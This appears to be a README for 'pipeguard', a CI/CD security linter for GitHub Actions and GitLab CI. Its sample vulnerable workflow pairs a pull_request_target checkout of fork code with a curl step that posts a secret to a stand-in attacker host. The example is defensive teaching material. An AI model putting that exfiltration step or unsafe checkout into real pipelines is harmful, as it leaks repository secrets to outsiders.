pipeguard

CI/CD pipeline security linter for GitHub Actions and GitLab CI.

Catches the misconfigurations that turn a CI runner into a supply-chain attack vector — before your pipeline ships them.

Install

pip install kryptorious-pipeguard

Requires Python >= 3.9.

What it catches

Usage

Scan the current repo:

pipeguard check .

Scan a specific path and fail CI on any error:

pipeguard check . --json

Real example — a vulnerable GitHub Actions workflow

.github/workflows/prt.yml:

name: prt
on: pull_request_target
permissions:
  contents: read
jobs:
  b:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}
      - run: curl -d "$SECRET" https://evil.example

$ pipeguard check .

┌──────────────────────────────┬──────┬──────────┬──────────┬─────────────────────────────────────────────┐
│ File                         │ Line │ Rule     │ Severity │ Detail                                        │
├──────────────────────────────┼──────┼──────────┼──────────┼─────────────────────────────────────────────┤
│ .github/workflows/prt.yml    │ 1    │ PRT-001  │ error    │ pull_request_target triggers on fork PRs...    │
└──────────────────────────────┴──────┴──────────┴──────────┴─────────────────────────────────────────────┘
Scanned 1 file(s): 1 error(s), 0 warning(s), 0 info.

Exit code is 1 — wire it into your CI gate.

SARIF for GitHub code scanning

pipeguard check . --sarif > pipeguard.sarif

GitLab CI

pipeguard check . --json

Exit codes

• 0 — no error-severity findings
• 1 — at least one error-severity finding (use as a CI gate)

Part of the Kryptorious toolchain

More developer tools at kryptorious.gumroad.com/l/jbvet.

License

MIT — © 2026 Kryptorious Quantum Biosciences, Inc.